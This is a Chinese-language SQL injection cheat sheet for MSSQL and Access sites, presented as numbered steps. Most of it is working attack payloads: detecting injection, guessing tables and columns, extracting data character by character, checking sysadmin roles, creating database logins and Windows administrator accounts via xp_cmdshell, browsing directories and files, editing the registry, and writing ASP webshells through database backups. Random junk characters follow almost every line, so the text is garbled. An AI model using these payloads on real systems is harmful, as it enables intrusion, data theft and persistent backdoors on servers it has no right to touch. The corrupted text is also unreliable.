1.判断是否有注入;and 1=1 ;and 1=2 O=6[/oc
'
2.初步判断是否是mssql ;and user>0 +!ZfJZls
3,n" d-
3.注入参数是字符'and [查询条件] and ''=' k n/xt
f~7V< v
4.搜索时没过滤参数的'and [查询条件] and '%25'=' k8r1)B4ab
Z\cD98B#
5.判断数据库系统 ]r'D
M3r;Pdj2r
;and (select count(*) from sysobjects)>0 mssql VOIni<9y
eD7qc1*G
;and (select count(*) from msysobjects)>0 access P3nBxw"
r AE5.Q!u
|a%Wd
hzT)5'_
6.猜数据库 ;and (select Count(*) from [数据库名])>0 F|@\IVEB]
Tgh?=]H
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 -hc8IS
v0?SN>fZ
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 vmh>|N4a7
3gnO)"$
9.(1)猜字段的ascii值(access) &x;n^W;#
>P]gjYN
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 xsiJI1/68
<@Vf:`a!P>
(2)猜字段的ascii值(mssql) J4@-?xj=\q
zQ#*O'-n
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 =-,'LOE
=T\=,B
10.测试权限结构(mssql) }kP<zvAaw
@_W13@|
a&UzIFdB
+(y8q
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
J5';Hb)
\+=`o .2
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- mxpj<^n}
q;UGiB^(A
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- gA%
A})
\BN$WV
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- { {:Fs
%ZX9YuXQ
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- EiG5k.C@
K/j u=>
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- OzwJ 52
\j5`6}zm
;and 1=(select IS_MEMBER('db_owner'));-- -y{(h%6
pb)kN%
gS8+S\2
~X3x-nAt
11.添加mssql和系统的帐户 v1Q78P
3+(lKd
;exec master.dbo.sp_addlogin username;-- #<Lv&-U<KT
;exec master.dbo.sp_password null,username,password;-- -*i_8`
u0A$}r$L
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2dcvB]T!
.FC+
;exec master.dbo.xp_cmdshell 'net user username password ifu!6_b.
/sj*@HF=
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ,aa
4Kh
?~4x/d%
;exec master.dbo.xp_cmdshell 'net user username password /add';-- W)J MV
;Rpib[m
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 3W]gn8
f*xr0l
Dh}(B$~Oz+
^;rjs|`K#
12.(1)遍历目录 j>B* 8*Ss
0{vH .b
@
;create table dirs(paths varchar(100), id int) AI Kz]J0;
wc.=`Me
;insert dirs exec master.dbo.xp_dirtree 'c:\' iy_Y!wZ{
'&dT
;and (select top 1 paths from dirs)>0 "j8)l4}
O5Z9`_9<
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) OM{^F=Ap
=J)<Nx.gA
~LZrhwVj$
GZ,MC?W
(2)遍历目录 =B5{ 7g\
N5,LHO
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- mC$y*G
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 y_w
<3
p)ig~kk`
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 3T0~k--
lWtfcU?S[
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ;{L[1OP%e
`:*2TLxIk
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4(LLRzzW
h`dQOH#
BgQ/$,
J?yasjjgP
13.mssql中的存储过程 M<d!j I9)
RL/y7M1j
xp_regenumvalues 注册表根键, 子键 [P =P8-5
)#cZ&
O
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 IZ7o6Etti
_+NjfF|
xp_regread 根键,子键,键值名 2#sFY/@
ybw\^t
;exec xp_regread pGjwI3_K
, ?U)mYhI
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 NsP=l]
<kPNe>-f
xp_regwrite 根键,子键, 值名, 值类型, 值 PJ0~ymE1~G
]% HxzJ
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 FHw%ynC
Mms|jFoQ
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 yn_f%^!G
-0#"<!N
xp_regdeletevalue 根键,子键,值名 z!O;s
ep?/
#dL,d6a
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 r KUtTj
hxH6Ii]\
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 GIH{tr1:<
wT\BA'VQ
't&1y6Uu
\t&! &R#
14.mssql的backup创建webshell TB* t^E
G}g;<,g~
use model 6XF Ufi+
UMe?nAC
create table cmd(str image); Sx'oa$J
Eu'E;*-f
insert into cmd(str) values (''); q+9->D(6
BVNJas
backup database model to disk='c:\l.asp'; v_EgY2l(
IDT\hTPIs
g9|OhymB
5L[imO M0
15.mssql内置函数 D]fuX|f~ul
v:QUwW
;and (select @@version)>0 获得Windows的版本号 n=V|NrU
''@Tke3IG6
;and user_name()='dbo' 判断当前系统的连接用户是不是sa T` h%=u|D
&)tiO>B^6
;and (select user_name())>0 爆当前系统的连接用户 ?Y3i-jY
Zf3(!
a[
;and (select db_name())>0 得到当前连接的数据库 Ig}hap]G
5=I({=/>
i/+^C($'f
rHB>jN@$
16.简洁的webshell Y3DqsZ@
t!Cz;ajNi
use model x\8g ICf
q"<=^vi
create table cmd(str image); t3Gy *B
Os-Z_zSl6
insert into cmd(str) values (''); JX&]>#6|E
SNOc1c<~
backup database model to disk='g:\wwwtest\l.asp';